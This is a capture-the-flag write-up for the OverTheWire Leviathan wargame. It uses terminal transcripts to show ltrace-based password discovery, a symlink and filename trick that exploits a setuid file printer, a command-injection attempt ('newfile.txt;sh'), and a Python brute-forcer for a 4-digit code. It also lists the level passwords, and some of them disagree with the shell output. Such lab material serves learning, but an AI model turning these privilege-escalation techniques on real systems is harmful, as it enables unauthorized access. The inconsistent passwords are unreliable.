



# OverTheWire Leviathan Series

## ▼ Level 1

```
leviathan@leviathan:~$ ls -al
total 24
drwxr-xr-x  3 root      root    4096 Aug 15 13:17 .
drwxr-xr-x 150 root      root    4096 Aug 15 13:18 ..
drwxr-x---  2 leviathan1 leviathan1 4096 Aug 15 13:17 .backup
-rw-r--r--  1 root      root    3851 Aug 15 13:09 .bash_logout
-rw-r--r--  1 root      root     807 Mar 31 2024 .profile
leviathan@leviathan:~$ cd .backup
leviathan@leviathan:~/backup$ ls -al
total 140
drwxr-xr-x  2 leviathan1 leviathan1 4096 Aug 15 13:17 .
drwxr-xr-x  1 root      root    4096 Aug 15 13:17 ..
-rw-r-----  1 leviathan1 leviathan1 133259 Aug 15 13:17 bookmarks.html
leviathan@leviathan:~/backup$ cat bookmarks.html | grep "password"
<input type="password" value="3QJ3TgzHDq" name="password" />
leviathan@leviathan:~/backup$
```

Password [next level]:

3QJ3TgzHDq

## ▼ Level 2

```
leviathan1@leviathan:~$ ./check /etc/leviathan_pass/leviathan2
password: secret
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ./check /etc/leviathan_pass/leviathan2
password: sec
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xfffffd464, 0 <unfinished ... >
printf("password: ")
getchar(0, 0x786573, 0x646f67password: sec
)
getchar(0, 115, 0x646f67)
getchar(0, 0x6573, 0x786573, 0x646f67)
strncpy("sec", "sex")
puts("Wrong password, Good Bye ... Wrong password, Good Bye ...")
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check /etc/leviathan_pass/leviathan2
password: sex
$ cat /etc/leviathan_pass/leviathan2
NsNIhwFoyN
$ exit
leviathan1@leviathan:~$
```

Password [next level]:

NsN1HwFoyN

## ▼ Level 3

```
leviathan2@leviathan:~$ cat /tmp/mydir23/newfile.txt
dummy
leviathan2@leviathan:~$ ./printfile /tmp/mydir23/newfile.txt
dummy
You cant have that file ...
leviathan2@leviathan:~$ ./printfile "/tmp/mydir23/newfile.txt;sh"
You cant have that file ...
leviathan2@leviathan:~$ ./printfile "/tmp/mydir23/newfile.txt /etc/leviathan_pass/leviathan3"
You cant have that file ...
leviathan2@leviathan:~$ ./printfile "/tmp/mydir23/newfile.txt"
dummy
leviathan2@leviathan:~$ ./printfile /etc/leviathan-pass/leviathan3
You cant have that file ...
leviathan2@leviathan:~$ ltrace ./printfile "/tmp/mydir23/newfile.txt"
__libc_start_main(0x80490ed, 2, 0xfffffd434, 0 <unfinished ... >
access("/tmp/mydir23/newfile.txt", 4) = 0
snprintf("/bin/cat /tmp/mydir23/newfile.tx"..., 511, "/bin/cat %s", "/tmp/mydir23/newfile.txt") = 33
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat /tmp/mydir23/newfile.tx" ... dummy
<no return ... >
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
leviathan2@leviathan:~$ █
```

- The program uses `access()` to check if you can read the file
- Then it uses `system("/bin/cat %s")` to actually read the file
- The key is the `snprintf("/bin/cat /tmp/testfile", 511, "/bin/cat %s", "/tmp/testfile")`

```

leviathan2@leviathan: /tmp/jynx
File Actions Edit View Help
leviathan2@leviathan:~$ ls -al
total 36
drwxr-xr-x  2 root      root      4096 Aug 15 13:17 .
drwxr-xr-x 150 root      root      4096 Aug 15 13:18 ..
-rw-r--r--  1 root      root      220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root      root      3851 Aug 15 13:09 .bashrc
-rw-r--r--  1 leviathan3 leviathan2 15072 Aug 15 13:17 printfile
-rw-r--r--  1 root      root      807 Mar 31 2024 .profile
leviathan2@leviathan:~$ mkdir /tmp/jynx
leviathan2@leviathan:~$ cd /tmp/jynx
leviathan2@leviathan:/tmp/jynx$ touch test.txt
leviathan2@leviathan:/tmp/jynx$ ltrace ~/printfile test.txt
__libc_start_main(0x80490ed, 2, 0xfffffd424, 0 <unfinished ... >
access("test.txt", 4)                                = 0
snprintf("/bin/cat test.txt", 511, "/bin/cat %s", "test.txt")
geteuid()                                             = 12002
geteuid()                                             = 12002
setreuid(12002, 12002)                               = 0
system("/bin/cat test.txt" <no return ... >
--- SIGCHLD (Child exited) ---
<... system resumed> )                                = 0
+++ exited (status 0) +++
leviathan2@leviathan:/tmp/jynx$ touch pass\ jynx.txt
leviathan2@leviathan:/tmp/jynx$ ls
pass jynx.txt  test.txt
leviathan2@leviathan:/tmp/jynx$ ltrace ~printfile "pass jynx.txt"
leviathan2@leviathan:/tmp/jynx$ ltrace ~/printfile "pass jynx.txt"
__libc_start_main(0x80490ed, 2, 0xfffffd424, 0 <unfinished ... >
access("pass jynx.txt", 4)                            = 0
snprintf("/bin/cat pass jynx.txt", 511, "/bin/cat %s", "pass jynx.txt") = 22
geteuid()                                             = 12002
geteuid()                                             = 12002
setreuid(12002, 12002)                               = 0
system("/bin/cat pass jynx.txt"/bin/cat: pass: No such file or directory
/bin/cat: jynx.txt: No such file or directory
<no return ... >
--- SIGCHLD (Child exited) ---
<... system resumed> )                                = 256
+++ exited (status 0) +++
leviathan2@leviathan:/tmp/jynx$ ln -s /etc/leviathan_pass/leviathan3 /tmp/jynx/pass
leviathan2@leviathan:/tmp/jynx$ ls -al
total 336
drwxrwxr-x  2 leviathan2 leviathan2  4096 Aug 25 17:39 .
drwxrwx-wt 5133 root      root      335872 Aug 25 17:39 ..
lrwxrwxrwx  1 leviathan2 leviathan2   30 Aug 25 17:39 pass → /etc/leviathan_pass/leviathan3
-rw-rw-r--  1 leviathan2 leviathan2    0 Aug 25 17:37 pass jynx.txt
-rw-rw-r--  1 leviathan2 leviathan2    0 Aug 25 17:36 test.txt
leviathan2@leviathan:/tmp/jynx$ ~/printfile "pass jynx.txt"
f0n8h2iWLP
/bin/cat: jynx.txt: No such file or directory
leviathan2@leviathan:/tmp/jynx$ █

```

**Password [next level]:**

f0n8h2iWLP

## ▼ Level 4

```
leviathan3@leviathan:~$ ls -al
total 40
drwxr-xr-x  2 root      root      4096 Aug 15 13:17 .
drwxr-xr-x 150 root      root      4096 Aug 15 13:18 ..
-rw-r--r--  1 root      root      220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root      root      3851 Aug 15 13:09 .bashrc
-r-sr-x--  1 leviathan4 leviathan3 18100 Aug 15 13:17 level3
-rw-r--r--  1 root      root      807 Mar 31 2024 .profile
leviathan3@leviathan:~$ ltrace level3
Can't execute `level3': Permission denied
failed to initialize process 3858733: No such file or directory
couldn't open program 'level3': No such file or directory
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80490ed, 1, 0xfffffd464, 0 <unfinished ... >
strcmp("h0no33", "kakaka")                                = -1
printf("Enter the password> ")                            = 20
fgets(Enter the password> jynx                           = 0xfffffd23c
"jynx\n", 256, 0xf7fae5c0)                               = -1
strcmp("jynx\n", "snlprintf\n")                           = 19
puts("bzzzzzzzap. WRONG"bzzzzzzzap. WRONG
)
+++ exited (status 0) +++
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
WG1egElCvO
$
```

**Password [next level]:**

WG1egElCvO

## ▼ Level 5

```
leviathan4@leviathan:~/trash$ ls -al
total 24
dr-xr-x-- 2 root      leviathan4  4096 Aug 15 13:17 .
drwxr-xr-x 3 root      root      4096 Aug 15 13:17 ..
-r-sr-x-- 1 leviathan5 leviathan4 14940 Aug 15 13:17 bin
leviathan4@leviathan:~/trash$ ./bin
00110000 01100100 01110001 01110000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
leviathan4@leviathan:~/trash$ ltrace ./bin
__libc_start_main(0x80490ad, 1, 0xfffffd454, 0 <unfinished ... >
fopen("/etc/leviathan_pass/leviathan5", "r")                  = 0
+++ exited (status 255) +++
leviathan4@leviathan:~/trash$ logout
```

From To

Binary Text

Paste binary code numbers or drop file:

```
00110000 01100100 01111001 01111000 01010100 00110111 01000110  
00110100 01010001 01000100 00001010
```

Character encoding (optional)

ASCII/UTF-8

0dyxT7F4QD

**Password [next level]:**

0dyxT7F4QD

## ▼ Level 6

```
File Actions Edit View Help
leviathan6@leviathan:~$ ls -al
total 36
drwxr-xr-x  2 root      root      4096 Aug 15 13:17 .
drwxr-xr-x 150 root      root      4096 Aug 15 13:18 ..
-rw-r--r--  1 root      root      220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root      root     3851 Aug 15 13:09 .bashrc
-rwsr-x--  1 leviathan7 leviathan6 15036 Aug 15 13:17 leviathan6
-rw-r--r--  1 root      root      807 Mar 31 2024 .profile
leviathan6@leviathan:~$ leviathan6
leviathan6: command not found
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ./leviathan6 0000
Wrong
leviathan6@leviathan:~$ ltrace ./leviathan6 3333
__libc_start_main(0x80490dd, 2, 0xffffd444, 0 <unfinished ... >
atoi(0xffffd5b5, 0, 0, 0)                                     = 3333
puts("Wrong")                                                 = 6
)                                                              
+++ exited (status 0) +++
leviathan6@leviathan:~$
```

```
Trying: 7110
Trying: 7111
Trying: 7112
Trying: 7113
Trying: 7114
Trying: 7115
Trying: 7116
Trying: 7117
Trying: 7118
Trying: 7119
Trying: 7120
Trying: 7121
Trying: 7122
Trying: 7123

SUCCESS! Code: 7123
Exit code: 0
Output:
leviathan6@leviathan:/tmp/jynxfolder$
```

## Python Script for brute force:

```
import subprocess
import os

binary_path = os.path.expanduser("~/leviathan6")

for i in range(10000):
    code = f"{i:04d}"
```

```
print(f"Trying: {code}")

try:
    result = subprocess.run(
        [binary_path, code],
        capture_output=True,
        text=True,
        stdin=subprocess.DEVNULL,
        timeout=2
    )
except subprocess.TimeoutExpired:
    print(f"Timeout on code {code}, skipping...")
    continue

output = (result.stdout + result.stderr).strip()

if result.returncode == 0 and "Wrong" not in output:
    print(f"\nSUCCESS! Code: {code}")
    print(f"Exit code: {result.returncode}")
    print(f"Output: {output}")
    break
```

```
leviathan6@leviathan:~$ ./leviathan6 7123
$ whoami
leviathan7
$ cat /etc/leviathan_pass/leviathan6
cat: /etc/leviathan_pass/leviathan6: Permission denied
$ cat /etc/leviathan_pass/leviathan6
cat: /etc/leviathan_pass/leviathan6: Permission denied
$ cat /etc/leviathan_pass/leviathan7
qEs5Io5yM8
$ █
```

**Password [next level]:**

qEs5Io5yM8

▼ Level 7

```
leviathan7@leviathan:~$ ls -al
total 24
drwxr-xr-x  2 root      root      4096 Aug 15 13:17 .
drwxr-xr-x 150 root      root      4096 Aug 15 13:18 ..
-rw-r--r--  1 root      root     220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root      root    3851 Aug 15 13:09 .bashrc
-r--r----- 1 leviathan7 leviathan7  178 Aug 15 13:17 CONGRATULATIONS
-rw-r--r--  1 root      root     807 Mar 31 2024 .profile
leviathan7@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@leviathan:~$
```